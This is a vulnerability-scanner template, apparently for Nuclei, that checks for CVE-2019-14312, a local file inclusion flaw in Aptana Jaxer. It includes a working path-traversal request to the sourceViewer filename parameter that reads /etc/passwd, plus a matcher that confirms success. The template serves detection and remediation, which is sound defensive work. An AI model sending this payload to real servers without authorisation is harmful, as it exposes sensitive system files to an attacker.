id: CVE-2019-14312

info:
  name: Aptana Jaxer 1.0.3.4547 - Local File inclusion
  author: daffainfo
  severity: medium
  description: Aptana Jaxer 1.0.3.4547 is vulnerable to local file inclusion in the wikilite source code viewer. An attacker can read internal files on the server via a tools/sourceViewer/index.html?filename=../ URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade to a patched version of Aptana Jaxer or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/47214
    - http://packetstormsecurity.com/files/153985/Aptana-Jaxer-1.0.3.4547-Local-File-Inclusion.html
    - https://github.com/aptana/Jaxer/commits/master
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14312
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-14312
    cwe-id: CWE-22
    epss-score: 0.02466
    epss-percentile: 0.90034
    cpe: cpe:2.3:a:aptana:jaxer:1.0.3.4547:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: aptana
    product: jaxer
  tags: cve2019,cve,lfi,edb,packetstorm,aptana

http:
  - method: GET
    path:
      - "{{BaseURL}}/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100beaf67eae3887e56ee523a58a2b3e80bbb9ab1e6b0fbd3f85fa8162505580990022075b56b217b56fae88384d3c87f019d7c3aa9653ef29ebbdc21182a8d38f0623e:922c64590222798bb761d5b6d8e72950